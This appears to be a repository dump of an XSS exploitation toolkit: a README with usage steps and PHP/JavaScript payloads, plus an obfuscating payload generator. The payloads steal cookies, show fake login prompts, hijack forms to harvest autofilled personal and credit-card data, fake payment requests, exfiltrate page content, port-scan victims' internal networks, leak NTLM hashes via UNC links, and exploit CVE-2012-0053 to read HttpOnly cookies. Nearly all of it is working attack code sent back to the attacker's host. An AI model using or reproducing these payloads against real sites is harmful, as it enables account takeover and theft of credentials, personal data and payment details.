├── unc_hashstealer.php ├── cookiestealer.php ├── apache_httponly_bypass.js ├── loginpage.php ├── contentstealer.php ├── README.md ├── paymentrequest.php ├── formsubmitter.php ├── recon.php ├── local_network_scan.php ├── formjacker.php └── generator.php /unc_hashstealer.php: -------------------------------------------------------------------------------- 1 | 8 | col = document.getElementsByTagName('a'); 9 | for( var i in col ){ 10 | el = col[i]; 11 | el.href = ''; 12 | } 13 | -------------------------------------------------------------------------------- /cookiestealer.php: -------------------------------------------------------------------------------- 1 | 8 | var url = "?c=" + encodeURIComponent(btoa(document.cookie)); 9 | f = document.createElement('iframe'); 10 | f.src = url; 11 | document.getElementsByTagName('body')[0].appendChild(f); 12 | 15 | -------------------------------------------------------------------------------- /apache_httponly_bypass.js: -------------------------------------------------------------------------------- 1 | // Exploit for CVE-2012-0053 2 | 3 | // Set megacookie 4 | for( var j=0; j<100; j++ ){ 5 | var c = "x"+j+"="; 6 | for( var i=0; i<500; i++ ){ 7 | c+='A'; 8 | } 9 | document.cookie = c; 10 | } 11 | 12 | x=new XMLHttpRequest(); 13 | x.onreadystatechange = function(){ 14 | if( x.readyState == 4 ){ 15 | var data = ''; 16 | 17 | // 400 == exploit worked 18 | if( x.status == 400 ){ 19 | aC = x.responseText.match(/
([\s\S]*)<\/pre>/gm)[0].split(';');
20 | for( var i=0; i tag to pop up a modal dialog prompting for username and password which will send back creds to the same script
4 | */
5 | if( isset( $_GET["username"] ) ){
6 | if( isset( $_SERVER['HTTP_REFERER'] ) ){
7 | header( "Location: ".$_SERVER['HTTP_REFERER'] );
8 | }else{
9 | echo "";
10 | }
11 | exit;
12 | }
13 | header( "Content-type: text/javascript" );
14 | if( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] ){
15 | $self = "https://";
16 | }else{
17 | $self = "http://";
18 | }
19 | $self .= $_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'];
20 | $html = "
21 |
45 |
46 |
47 |
53 | ";
54 | $html = preg_replace( "/[\n\r]/", "", $html );
55 | echo "window.onload=function(){\n";
56 | echo " document.body.innerHTML += \"$html\";";
57 | echo "}\n";
58 | ?>
59 |
--------------------------------------------------------------------------------
/contentstealer.php:
--------------------------------------------------------------------------------
1 |
18 | x=new XMLHttpRequest();
19 | x.onreadystatechange = function(){
20 | if( this.readyState == this.DONE ){
21 | xsssendcontent(this.responseText);
22 | }
23 | }
24 | x.open('GET','' );
25 | x.send(null)
26 |
31 | xsssendcontent(document.getElementById('').outerHTML);
32 |
38 | var content = '';
39 | var col = document.getElementsByTagName('');
40 | for( var i=0; i
45 | }
46 |
47 | function xsssendcontent(content){
48 | document.getElementById('xss_content').value = content;
49 | document.getElementById('form_xss').submit();
50 | }
51 | if( !document.getElementById('frame_xss') ){
52 | frame = document.createElement('iframe');
53 | frame.style='visibility: hidden;';
54 | frame.name='frame_xss';
55 | form = document.createElement('form');
56 | form.action = ''
57 | form.target = 'frame_xss';
58 | form.method='POST';
59 | form.id = 'form_xss';
60 | e = document.createElement('input');
61 | e.type = 'hidden';
62 | e.name = 'c';
63 | e.id = 'xss_content';
64 | form.appendChild(e);
65 | document.getElementsByTagName('body')[0].appendChild(frame);
66 | document.getElementsByTagName('body')[0].appendChild(form);
67 | }
68 | xssgetcontent();
69 |
80 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # xss_payloads
2 |
3 | Payloads for practical exploitation of cross site scripting.
4 |
5 | ## Usage
6 |
7 | 1. Find XSS vuln in your app
8 | 2. Get PoC exploit: alert(1) etc
9 | 3. Host these payloads somewhere
10 | 4. Use vuln to pull one of these payloads into the app ``
11 | 5. Profit
12 |
13 | ## js vs php files
14 |
15 | Some of the files are plain JavaScript .js files, others are PHP scripts which serve JavaScript when rendered in order to do some more complex stuff. Make sure you have a PHP interpreter running on your web server of choice to get these to work ``
16 |
17 | ## Common Problems
18 |
19 | * You can't serve these over HTTP if your app is running on HTTPS. You'll need to serve them over HTTPS
20 | * If you're running these over HTTPS for actual exploitation rather than a PoC, you'll need a proper trusted TLS cert (Let's Encrypt CA, for example) otherwise victim's browsers won't fetch the files at all. If it's for a PoC you can just temporarily trust your self signed cert.
21 | * Hit F12 and view the debug console for any information about why a particular script might not work
22 |
23 |
24 | ## Generator
25 |
26 | `generator.php` is a tool which can help to load one of the below payloads or to inject a custom payload using various injection, execution and encoding options.
27 |
28 | ## Payloads
29 |
30 | ### apache_httponly_bypass.js
31 |
32 | Uses an excessively large cookie to exploit CVE-2012-0053 and extract HTTPOnly cookie values from the response.
33 |
34 | ### contentstealer.php
35 |
36 | Steal the content of the current page, a specific element or another page within the same origin as the exploited web app.
37 |
38 | ### cookiestealer.php
39 |
40 | Steal cookies from the site.
41 |
42 | ### formjacker.php
43 |
44 | Man-in-the-middle all forms on the current page and also exploit browser autofill functionality in order to steal personal information.
45 |
46 | ### formsubmitter.php
47 |
48 | Grab a page from somewhere within the same origin, fill in a form on it and then submit that form.
49 |
50 | ### local_network_scan.php
51 |
52 | Get the internal IP address of a victim and then have them do a TCP port scan of common ports on the /24 of that internal IP address.
53 |
54 | ### loginpage.php
55 |
56 | Pop up a login page which sends the entered credentials back to this URL.
57 |
58 | ### recon.php ###
59 |
60 | Passes back information about where it was executed:
61 |
62 | - page URL
63 | - script URL
64 | - user's IP address
65 | - Page content
66 | - Any non HttpOnly cookies present
67 | - User agent string
68 |
69 | And then logs it all into either a file or a database. Great for when a collaborator alert is generated asynchronously and you need more info about where execution is occuring.
70 |
71 | ### unc_hashstealer.php
72 |
73 | Fire up Responder.py on the same host as this script and then inject this payload. All links on the injected page will be turned into UNC paths to the same host.
74 |
--------------------------------------------------------------------------------
/paymentrequest.php:
--------------------------------------------------------------------------------
1 |
50 | if(window.PaymentRequest) {
51 |
52 | // Use Payment Request API
53 | const supportedPaymentMethods = [
54 | {
55 | supportedMethods: ['basic-card']
56 | }
57 | ];
58 |
59 | const paymentDetails = {
60 | total: {
61 | label: '=$label?>',
62 | amount:{
63 | currency: '=$currency?>',
64 | value: =$value?>
65 | }
66 | }
67 | };
68 |
69 | const options = {};
70 |
71 | const request = new PaymentRequest( supportedPaymentMethods, paymentDetails, options );
72 |
73 | promise = request.show()
74 | .then((paymentResponse) => {
75 | return paymentResponse.complete()
76 | .then(() => {;
77 | // Send payment response back to this URL
78 | url = '=$url?>?data=' + btoa(JSON.stringify(paymentResponse));
79 | i= new Image();
80 | i.addEventListener('load', function(){
81 |
82 | window.location = '=$confirmation?>';
83 |
84 | alert("Payment received, thank you")
85 |
86 | },false);
87 | i.src = url;
88 | });
89 |
90 | }).catch((err) => {
91 | console.log("Payment request failed");
92 | });
93 | } else {
94 | // Fallback to traditional checkout
95 | console.log("PaymentRequest API not supported in this browser");
96 | }
97 |
110 |
--------------------------------------------------------------------------------
/formsubmitter.php:
--------------------------------------------------------------------------------
1 | ';
57 | document.getElementById('xss_target').onload = ifload;
58 | frm.target = 'xss_target';\n";
59 | echo "frm.onsubmit = ''\n";
60 | if( isset( $_GET["action"] ) ){
61 | echo " frm.action = '".$_GET["action"]."';\n";
62 | }
63 | if( isset( $els ) ){
64 | foreach( $els as $k => $v ){
65 | echo " frm.elements.namedItem('$k').value = '$v';\n";
66 | echo " console.log(frm.elements.namedItem('$k').value);\n";
67 | }
68 | }
69 | echo " frm.submit();
70 | }
71 | ";
72 |
73 | // Call function to get the page, pass function to process the form
74 | echo "
75 | g('/Home/Settings/MyProfile/tabid/62/userid/100417/Default.aspx');\n";
76 | // g('".$_GET["url"]."');\n";
77 | ?>
78 |
81 |
--------------------------------------------------------------------------------
/recon.php:
--------------------------------------------------------------------------------
1 |
50 |
51 | // Send back
52 | function xssSendContent(content){
53 | document.getElementById('info').value = content;
54 | window.onload = null;
55 | document.getElementById('form_xss').submit();
56 | }
57 | function xssGatherInfo(){
58 |
59 | var info = {};
60 |
61 | // Current URL
62 | info.pageurl = document.location.href;
63 |
64 | // Contents of current page
65 | info.html = document.documentElement.outerHTML;
66 |
67 | // Any non HttpOnly cookies present
68 | info.cookies = document.cookies
69 |
70 | document.documentElement.innerHTML += 'A';
71 | if( !document.getElementById('frame_xss') ){
72 | frame = document.createElement('iframe');
73 | frame.style='visibility: hidden;';
74 | frame.name='frame_xss';
75 | form = document.createElement('form');
76 | form.action = ''
77 |
78 | form.target = 'frame_xss';
79 | form.method='POST';
80 | form.id = 'form_xss';
81 | e = document.createElement('input');
82 | e.type = 'hidden';
83 | e.name = 'c';
84 | e.id = 'info';
85 | form.appendChild(e);
86 | body = document.getElementsByTagName('body')
87 | if( body.length = 0 ){
88 | document.documentElement.appendChild(document.createElement('body'));
89 | body = document.getElementsByTagName('body')
90 | }
91 | body = body[0];
92 | body.appendChild(frame);
93 | body.appendChild(form);
94 | }
95 | xssSendContent(btoa(JSON.stringify(info)));
96 | }
97 | window.onload = xssGatherInfo;
98 |
99 | scripturl = $url;
116 |
117 | // Referer
118 | $info->referer = $_SERVER['HTTP_REFERER'];
119 |
120 | // User's user agent
121 | $info->useragent = $_SERVER['HTTP_USER_AGENT'];
122 |
123 | // User's IP address
124 | $info->userip = $_SERVER['REMOTE_ADDR'];
125 |
126 | $info->method = $_SERVER['REQUEST_METHOD'];
127 |
128 | $info->logtime = date('Y-m-d H:i:s');
129 |
130 | $aProperties = array( 'logtime', 'method', 'pageurl', 'scripturl', 'referer', 'cookies', 'useragent', 'userip', 'html' );
131 |
132 | // Log this request
133 | if( $logging == 'file' ){
134 | // File logging
135 |
136 | $str = '';
137 | $str .= "\n\n===START XSS INFO===\n\n";
138 | foreach( $aProperties as $prop ){
139 | if( !property_exists( $info, $prop ) ) continue;
140 | $str .= $prop.": ".$info->{$prop}."\n";
141 | }
142 | $str .= "\n\n===END XSS INFO===\n\n";
143 | file_put_contents( $log_file, $str, FILE_APPEND );
144 | }else{
145 | // DB logging
146 |
147 | $db = new PDO("mysql:host={$db_host};dbname={$db_name};charset=utf8", $db_user, $db_pass);
148 | $present = "";
149 | $markers = "";
150 | $comma = "";
151 | $data = array();
152 | foreach( $aProperties as $prop ){
153 | if( !property_exists( $info, $prop ) ) continue;
154 | $present .= $comma.' '.$prop;
155 | $markers .= $comma." ?";
156 | $data[] = $info->{$prop};
157 | $comma = ",";
158 | }
159 | $sql = "INSERT INTO log (".$present." ) VALUES (".$markers." )";
160 | $stmt = $db->prepare($sql);
161 | $stmt->execute($data);
162 | }
163 |
164 | ?>
165 |
--------------------------------------------------------------------------------
/local_network_scan.php:
--------------------------------------------------------------------------------
1 |
46 |
47 | function report( data ){
48 | new Image().src = '?'+data;
49 | }
50 |
51 |
52 | function ports_callback( host, port, state, srcip ){
53 | if( state == "closed" ) return;
54 | // console.log( host, port, state );
55 | report( "openport=" + host + ":" + port + "&srcip=" + srcip );
56 | }
57 |
58 | var AttackAPI = {
59 | version: '0.1',
60 | author: 'Petko Petkov (architect)',
61 | homepage: 'http://www.gnucitizen.org'};
62 |
63 | AttackAPI.PortScanner = {};
64 | AttackAPI.PortScanner.ports = '445,3389,80,443,3306,8080,1723,5900,1025,8888,199,1720,81,6001'.split(',')
65 | AttackAPI.PortScanner.port_index = 0;
66 | AttackAPI.PortScanner.host_num = 1;
67 | AttackAPI.PortScanner.src = '';
68 | AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout, srcip ) {
69 | var timeout = (timeout == null)?100:timeout;
70 | var img = new Image();
71 | // console.log( "Scanning " + target + ":" + port );
72 |
73 | img.onerror = function () {
74 | if (!img) return;
75 | img = undefined;
76 | callback(target, port, 'open', srcip );
77 | };
78 |
79 | img.onload = img.onerror;
80 | img.src = 'http://' + target + ':' + port;
81 |
82 | setTimeout(function () {
83 | if (!img) return;
84 | img.src = 'http://localhost/icon.png';
85 | img = undefined;
86 | callback(target, port, 'closed', srcip );
87 | }, timeout);
88 | };
89 | AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)
90 | {
91 | var ports = (ports == null) ? AttackAPI.PortScanner.ports : ports;
92 | var timeout = (timeout == null)?100:timeout;
93 | for (index = 0; index < ports.length; index++)
94 | AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout, target );
95 | };
96 |
97 | // Scan a /24 around an IP
98 | AttackAPI.PortScanner.scanNetwork = function ( callback, target )
99 | {
100 | if( target.toLowerCase() == 'udp' ) return;
101 | a = target.split('.');
102 | AttackAPI.PortScanner.scanPort( callback, a[0]+'.'+a[1]+'.'+a[2]+'.'+AttackAPI.PortScanner.host_num, AttackAPI.PortScanner.ports[AttackAPI.PortScanner.port_index], 100, target );
103 | AttackAPI.PortScanner.host_num++;
104 | if( AttackAPI.PortScanner.host_num >= 255 ){
105 | AttackAPI.PortScanner.port_index++;
106 | if( AttackAPI.PortScanner.port_index >= AttackAPI.PortScanner.ports.length ){
107 | report( "scancomplete&srcip=" + target );
108 | return;
109 | }
110 | AttackAPI.PortScanner.host_num = 1;
111 | }
112 | setTimeout( function(){
113 | AttackAPI.PortScanner.scanNetwork( callback, target );
114 | }, 200 );
115 | };
116 |
117 |
118 |
119 | // NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
120 | var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
121 |
122 | if (RTCPeerConnection) (function () {
123 | var rtc = new RTCPeerConnection({iceServers:[]});
124 | if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed
125 | rtc.createDataChannel('', {reliable:false});
126 | };
127 |
128 | rtc.onicecandidate = function (evt) {
129 | // convert the candidate to SDP so we can run it through our general parser
130 | // see https://twitter.com/lancestout/status/525796175425720320 for details
131 | if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
132 | };
133 | rtc.createOffer(function (offerDesc) {
134 | grepSDP(offerDesc.sdp);
135 | rtc.setLocalDescription(offerDesc);
136 | }, function (e) { console.warn("offer failed", e); });
137 |
138 |
139 | var addrs = Object.create(null);
140 | addrs["0.0.0.0"] = false;
141 | function updateDisplay(newAddr) {
142 | if (newAddr in addrs) return;
143 | else addrs[newAddr] = true;
144 | var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
145 | displayAddrs = displayAddrs.filter(function(ip){ return ip.toString().trim().toLowerCase() != 'udp';});
146 | report( "internalips=" + displayAddrs.join(',') || 'n/a' );
147 | AttackAPI.PortScanner.scanTarget( ports_callback, '127.0.0.1' );
148 | for( i=0; i
45 |
46 | function xssFormJacker(){
47 |
48 | // Get all forms on page
49 | forms = document.querySelectorAll('form');
50 | Array.prototype.forEach.call( forms, form => {
51 | fields = form.querySelectorAll('input,select,textarea,button')
52 |
53 | // Get list of fields
54 | aFieldList = Array();
55 | Array.prototype.forEach.call( fields, field => {
56 | aFieldList.push( field.name );
57 | });
58 |
59 | // Add extra hidden fields
60 |
61 | // text fields
62 | 'name,email,phone,organization,address,postal,city,county,state,cc_number,cc_cvv'.split(',').forEach(function(name){
63 | if( aFieldList.includes( name ) ){
64 | return;
65 | }
66 | d = document.createElement('div')
67 | d.style = 'left: -500px; position: absolute;'
68 | f = document.createElement('input');
69 | f.type='text';
70 | f.name = name;
71 | d.appendChild( f );
72 | form.appendChild( d );
73 | });
74 |
75 | // Select boxes
76 | 'country,cc_month,cc_year'.split(',').forEach(function(name){
77 | if( aFieldList.includes( name ) ){
78 | return;
79 | }
80 | d = document.createElement('div')
81 | d.style = 'left: -500px; position: absolute;'
82 | f = document.createElement('select');
83 | f.name = name;
84 |
85 | switch( name ){
86 | case 'country':
87 | f.innerHTML = '';
88 | break;
89 |
90 | case 'cc_month':
91 | f.innerHTML = '';
92 | break;
93 |
94 | case 'cc_year':
95 | $i';\n";
98 | }
99 | ?>
100 | break;
101 | }
102 | d.appendChild( f );
103 | form.appendChild( d );
104 |
105 | });
106 |
107 | // Remember the original fields
108 | f = document.createElement('input')
109 | f.type = 'hidden';
110 | f.name = 'origFieldList';
111 | f.value = aFieldList.join(',');
112 | form.appendChild( f );
113 |
114 | // Change the action URL
115 | f = document.createElement('input')
116 | f.type = 'hidden';
117 | f.name = 'origActionUrl';
118 | f.value = form.action;
119 | form.appendChild( f );
120 | form.action = '';
121 | });
122 | }
123 |
124 | window.onload = xssFormJacker;
125 |
126 | prepare($sql);
146 | $stmt->execute($data);
147 |
148 | }else{
149 |
150 | file_put_contents( $log_file, print_r( $data, true ), FILE_APPEND );
151 |
152 | }
153 |
154 | // Build the form
155 | if( !empty( $_REQUEST['origActionUrl'] ) ){
156 | echo "";
157 | echo "\n";
171 | echo "\n";
172 | echo "";
173 | }else{
174 | header( 'Location: https://www.google.com' );
175 | }
176 | }
177 | ?>
178 |
--------------------------------------------------------------------------------
/generator.php:
--------------------------------------------------------------------------------
1 | "Load script ($.getScript())",
21 | "desc" => "Load an external script into the DOM using jQuery, if jQuery is already loaded into the DOM",
22 | "code" => "$.getScript(\"{url}\")",
23 | "fields" => "filepicker,url"
24 | ],
25 | [
26 | "name" => "Load script (document.createElement())",
27 | "desc" => "Load an external script into the DOM using native document.createElement() methods",
28 | "code" => "e=document.createElement(\"script\");e.src=\"{url}\";document.body.appendChild(e);",
29 | "fields" => "filepicker,url"
30 | ],
31 | [
32 | "name" => "Request URL (img)",
33 | "desc" => "Make a blind, cross-origin request to an arbitrary URL (tip: use a Burp collaborator URL)",
34 | "code" => "new Image().src=\"{url}\"",
35 | "fields" => "url"
36 | ],
37 | [
38 | "name" => "Request URL (XHR)",
39 | "desc" => "Make a same-origin or CORS request to an arbitrary URL",
40 | "code" => "x=new XMLHttpRequest();x.open(\"GET\",\"{url}\");x.send()",
41 | "fields" => "url"
42 | ],
43 | [
44 | "name" => "JavaScript code",
45 | "desc" => "Inject custom inline JavaScript code",
46 | "code" => "{js}",
47 | "fields" => "js"
48 | ]
49 | /*
50 | [
51 | "name" => "Dropper (multiple scripts / automatic payload)",
52 | "desc" => "Load a set of scripts using this dropper to determine the best payload",
53 | "code" => ""
54 | ],
55 | */
56 | ];
57 |
58 | /*
59 | Obfuscation
60 | - None
61 | - base64 (btoa())
62 | - reverse
63 | - String.fromCharCode()
64 | - character hex code
65 | */
66 | $aObfuscation = [
67 | [
68 | "name" => "None",
69 | "desc" => "No obfuscation",
70 | "code" => "{payload}"
71 | ],
72 | [
73 | "name" => "Pass as string",
74 | "desc" => "Pass the payload as a string into an execution method",
75 | "code" => "'{payload}'"
76 | ],
77 | [
78 | "name" => "Base64 (atob())",
79 | "desc" => "Base64 encode",
80 | "code" => "atob('{payloadb64}')"
81 | ],
82 | [
83 | "name" => "Reverse",
84 | "desc" => "Reverse payload string and execute using eval()",
85 | "code" => "'{payloadrev}'.split('').reverse().join('')"
86 | ],
87 | [
88 | "name" => "String.fromCharCode()",
89 | "desc" => "Build payload string one char at a time using the ordinal value",
90 | "code" => "{payloadchr}"
91 | ],
92 | [
93 | "name" => "Character hex codes",
94 | "desc" => "Construct the payload using hex value of each character",
95 | "code" => "'{payloadhex}'"
96 | ],
97 | [
98 | "name" => "JSF*ck",
99 | "desc" => "Encode payload using only the characters []()!+",
100 | "code" => "{payloadjsf}"
101 | ]
102 | ];
103 |
104 | $aExecution = [
105 | [
106 | "name" => "None",
107 | "desc" => "No execution required",
108 | "code" => "{obfuscated}"
109 | ],
110 | [
111 | "name" => "eval()",
112 | "desc" => "Pass string to eval() function",
113 | "code" => "eval({obfuscated})"
114 | ],
115 | [
116 | "name" => "window['eval']()",
117 | "desc" => "Slightly sneakier way of calling eval()",
118 | "code" => "window['eval']({obfuscated})"
119 | ],
120 | [
121 | "name" => "window['\\x65\\x76\\x61\\x6c']()",
122 | "desc" => "Even sneakier way of calling eval()",
123 | "code" => "window['\\x65\\x76\\x61\\x6c']({obfuscated})"
124 | ],
125 | [
126 | "name" => "Function()()",
127 | "desc" => "Declare and execute an anonymous function",
128 | "code" => "Function({obfuscated})()"
129 | ],
130 | [
131 | "name" => "window['Function']()()",
132 | "desc" => "Slightly sneakier way of creating a new anonymous function",
133 | "code" => "window['Function']({obfsucated})()"
134 | ],
135 | [
136 | "name" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']()()",
137 | "desc" => "Even sneakier way of creating a new anonymous function",
138 | "code" => "window['\\x46\\x75\\x6e\\x63\\x74\\x69\\x6f\\x6e']({obfuscated})()"
139 | ],
140 | [
141 | "name" => "setTimeout()",
142 | "desc" => "Pass code string to the setTimeout() function",
143 | "code" => "setTimeout({obfuscated},0)"
144 | ],
145 | [
146 | "name" => "window['setTimeout']()",
147 | "desc" => "Slightly sneakier way of calling the setTimeout() function",
148 | "code" => "window['setTimeout']({obfuscated},0)"
149 | ],
150 | [
151 | "name" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']()",
152 | "desc" => "Even sneakier way of calling the setTimeout() function",
153 | "code" => "window['\\x73\\x65\\x74\\x54\\x69\\x6d\\x65\\x6f\\x75\\x74']({obfuscated},0)"
154 | ]
155 | ];
156 |
157 | /*
158 | Injection
159 | - Basic polyglot / inline script
160 | - 0xsobky - Ultimate XSS Polyglot
161 | - String variable escape
162 | - img element onerror
163 | - SVG element
164 | - Element onclick
165 | - Element onmouseover
166 | */
167 | $aInjections = [
168 | [
169 | "name" => "Basic polyglot / inline script",
170 | "desc" => "Code execution using basic break-out technique",
171 | "code" => "'\">"
172 | ],
173 | [
174 | "name" => "0xsobky - Ultimate XSS Polyglot",
175 | "desc" => "Long, very flexible payload good for blind injection and fuzzing",
176 | "code" => "jaVasCript:/*-/*`/*\`/*'/*\"/**/(/* */oNcliCk={payload} )//%0D%0A%0d%0a//\\x3csVg/\\x3e"
177 | ],
178 | [
179 | "name" => "String variable escape",
180 | "desc" => "Break out from within a string in block of JavaScript",
181 | "code" => "\";//';\n{payload}"
182 | ],
183 | [
184 | "name" => "img element onerror",
185 | "desc" => "Inject an invalid
element with the payload within onerror",
186 | "code" => "
"
187 | ],
188 | [
189 | "name" => "SVG element",
190 | "desc" => "Inject an SVG element containing the payload within onload",
191 | "code" => ""
192 | ],
193 | [
194 | "name" => "Element onclick",
195 | "desc" => "Break out of an element attribute and add an onclick event",
196 | "code" => "'\" onclick={payload} >"
197 | ],
198 | [
199 | "name" => "Element onmouseover",
200 | "desc" => "Break out of an element attribute and add an onmouseover event",
201 | "code" => "'\" onmouseover={payload} >"
202 | ],
203 | [
204 | "name" => "Custom element and event",
205 | "desc" => "Define an element and an event to execute the payload",
206 | "code" => "<{element}/{event}={payload} />",
207 | "fields" => "element,event"
208 | ]
209 | ];
210 |
211 | $aElements = [
212 | "a",
213 | "abbr",
214 | "acronym",
215 | "address",
216 | "applet",
217 | "area",
218 | "article",
219 | "aside",
220 | "audio",
221 | "b",
222 | "base",
223 | "basefont",
224 | "bdi",
225 | "bdo",
226 | "big",
227 | "blockquote",
228 | "body",
229 | "br",
230 | "button",
231 | "canvas",
232 | "caption",
233 | "center",
234 | "cite",
235 | "code",
236 | "col",
237 | "colgroup",
238 | "data",
239 | "datalist",
240 | "dd",
241 | "del",
242 | "details",
243 | "dfn",
244 | "dialog",
245 | "dir",
246 | "div",
247 | "dl",
248 | "dt",
249 | "em",
250 | "embed",
251 | "fieldset",
252 | "figcaption",
253 | "figure",
254 | "font",
255 | "footer",
256 | "form",
257 | "frame",
258 | "frameset",
259 | "h1 to h6",
260 | "head",
261 | "header",
262 | "hr",
263 | "html",
264 | "i",
265 | "iframe",
266 | "img",
267 | "input",
268 | "ins",
269 | "kbd",
270 | "label",
271 | "legend",
272 | "li",
273 | "link",
274 | "main",
275 | "map",
276 | "mark",
277 | "meta",
278 | "meter",
279 | "nav",
280 | "noframes",
281 | "noscript",
282 | "object",
283 | "ol",
284 | "optgroup",
285 | "option",
286 | "output",
287 | "p",
288 | "param",
289 | "picture",
290 | "pre",
291 | "progress",
292 | "q",
293 | "rp",
294 | "rt",
295 | "ruby",
296 | "s",
297 | "samp",
298 | "script",
299 | "section",
300 | "select",
301 | "small",
302 | "source",
303 | "span",
304 | "strike",
305 | "strong",
306 | "style",
307 | "sub",
308 | "summary",
309 | "sup",
310 | "svg",
311 | "table",
312 | "tbody",
313 | "td",
314 | "template",
315 | "textarea",
316 | "tfoot",
317 | "th",
318 | "thead",
319 | "time",
320 | "title",
321 | "tr",
322 | "track",
323 | "tt",
324 | "u",
325 | "ul",
326 | "var",
327 | "video",
328 | "wbr"
329 | ];
330 |
331 | $aEvents = [
332 | "onabort",
333 | "oncancel",
334 | "onblur",
335 | "oncanplay",
336 | "oncanplaythrough",
337 | "onchange",
338 | "onclick",
339 | "oncontextmenu",
340 | "ondblclick",
341 | "ondrag",
342 | "ondragend",
343 | "ondragenter",
344 | "ondragexit",
345 | "ondragleave",
346 | "ondragover",
347 | "ondragstart",
348 | "ondrop",
349 | "ondurationchange",
350 | "onemptied",
351 | "onended",
352 | "onerror",
353 | "onfocus",
354 | "onformchange",
355 | "onforminput",
356 | "oninput",
357 | "oninvalid",
358 | "onkeydown",
359 | "onkeypress",
360 | "onkeyup",
361 | "onload",
362 | "onloadeddata",
363 | "onloadedmetadata",
364 | "onloadstart",
365 | "onmousedown",
366 | "onmousemove",
367 | "onmouseout",
368 | "onmouseover",
369 | "onmouseup",
370 | "onmousewheel",
371 | "onpause",
372 | "onplay",
373 | "onplaying",
374 | "onprogress",
375 | "onratechange",
376 | "onreadystatechange",
377 | "onscroll",
378 | "onseeked",
379 | "onseeking",
380 | "onselect",
381 | "onshow",
382 | "onstalled",
383 | "onsubmit",
384 | "onsuspend",
385 | "ontimeupdate",
386 | "onvolumechange",
387 | "onwaiting"
388 | ];
389 |
390 | // Character substitution
391 | // Encoding
392 | $aEncoding = [
393 | [
394 | "name"=>"JSON",
395 | "desc"=>"Encode for inclusion in a JSON string (escape double quotes)",
396 | "func"=>"str_replace",
397 | "args"=>['"','\"','[payload]']
398 | ],
399 | [
400 | "name"=>"JS Unicode",
401 | "desc"=>"Encode as JavaScript unicode escaped string",
402 | "func"=>"unicode_escape",
403 | "args"=>['[payload]']
404 | ],
405 | [
406 | "name"=>"JS Hex",
407 | "desc"=>"Encode as JavaScript hex escaped string",
408 | "func"=>"hex_escape",
409 | "args"=>['[payload]']
410 | ],
411 | [
412 | "name"=>"URL",
413 | "desc"=>"URL encode key characters",
414 | "func"=>"urlencode",
415 | "args"=>["[payload]"]
416 | ],
417 | [
418 | "name"=>"SQL",
419 | "desc"=>"Escape strings for SQL statements",
420 | "func"=>"addslashes",
421 | "args"=>["[payload]"]
422 | ],
423 | [
424 | "name"=>"HTML",
425 | "desc"=>"Encode HTML characters",
426 | "func"=>"htmlspecialchars",
427 | "args"=>["[payload]"]
428 | ],
429 | [
430 | "name"=>"Base64",
431 | "desc"=>"Base 64 encode payload",
432 | "func"=>"base64_encode",
433 | "args"=>["[payload]"]
434 | ]
435 | ];
436 |
437 | function unicode_escape( $payload ){
438 | $rtn = '';
439 | for ($i = 0; $i < strlen($payload); $i++) {
440 | $rtn .= '\\u' . str_pad(dechex(ord($payload[$i])), 4, '0', STR_PAD_LEFT);
441 | }
442 | return $rtn;
443 | }
444 | function hex_escape( $payload ){
445 | return str_replace( '\\u00','\\x',unicode_escape( $payload ) );
446 | }
447 |
448 | // JSFuck: http://www.jsfuck.com/
449 | // JSFuck PHP port: https://github.com/Zaczero/jsfuck.php
450 | class JSFuck {
451 |
452 | private const MIN = 32;
453 | private const MAX = 126;
454 | private const USE_CHAR_CODE = 'USE_CHAR_CODE';
455 |
456 | private const SIMPLE = [
457 | 'false' => '![]',
458 | 'true' => '!![]',
459 | 'undefined' => '[][[]]',
460 | 'NaN' => '+[![]]',
461 | 'Infinity' => '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])',
462 | ];
463 |
464 | private const CONSTRUCTORS = [
465 | 'Array' => '[]',
466 | 'Number' => '(+[])',
467 | 'String' => '([]+[])',
468 | 'Boolean' => '(![])',
469 | 'RegExp' => 'Function("return/"+false+"/")()',
470 | 'Function' => '[]["fill"]',
471 | ];
472 |
473 | private $_MAPPING = [
474 | 'a' => '(false+"")[1]',
475 | 'b' => '([]["entries"]()+"")[2]',
476 | 'c' => '([]["fill"]+"")[3]',
477 | 'd' => '(undefined+"")[2]',
478 | 'e' => '(true+"")[3]',
479 | 'f' => '(false+"")[0]',
480 | 'g' => '(false+[0]+String)[20]',
481 | 'h' => '(+(101))["to"+String["name"]](21)[1]',
482 | 'i' => '([false]+undefined)[10]',
483 | 'j' => '([]["entries"]()+"")[3]',
484 | 'k' => '(+(20))["to"+String["name"]](21)',
485 | 'l' => '(false+"")[2]',
486 | 'm' => '(Number+"")[11]',
487 | 'n' => '(undefined+"")[1]',
488 | 'o' => '(true+[]["fill"])[10]',
489 | 'p' => '(+(211))["to"+String["name"]](31)[1]',
490 | 'q' => '(+(212))["to"+String["name"]](31)[1]',
491 | 'r' => '(true+"")[1]',
492 | 's' => '(false+"")[3]',
493 | 't' => '(true+"")[0]',
494 | 'u' => '(undefined+"")[0]',
495 | 'v' => '(+(31))["to"+String["name"]](32)',
496 | 'w' => '(+(32))["to"+String["name"]](33)',
497 | 'x' => '(+(101))["to"+String["name"]](34)[1]',
498 | 'y' => '(NaN+[Infinity])[10]',
499 | 'z' => '(+(35))["to"+String["name"]](36)',
500 |
501 | 'A' => '(+[]+Array)[10]',
502 | 'B' => '(+[]+Boolean)[10]',
503 | 'C' => 'Function("return escape")()(("")["italics"]())[2]',
504 | 'D' => 'Function("return escape")()([]["fill"])["slice"]("-1")',
505 | 'E' => '(RegExp+"")[12]',
506 | 'F' => '(+[]+Function)[10]',
507 | 'G' => '(false+Function("return Date")()())[30]',
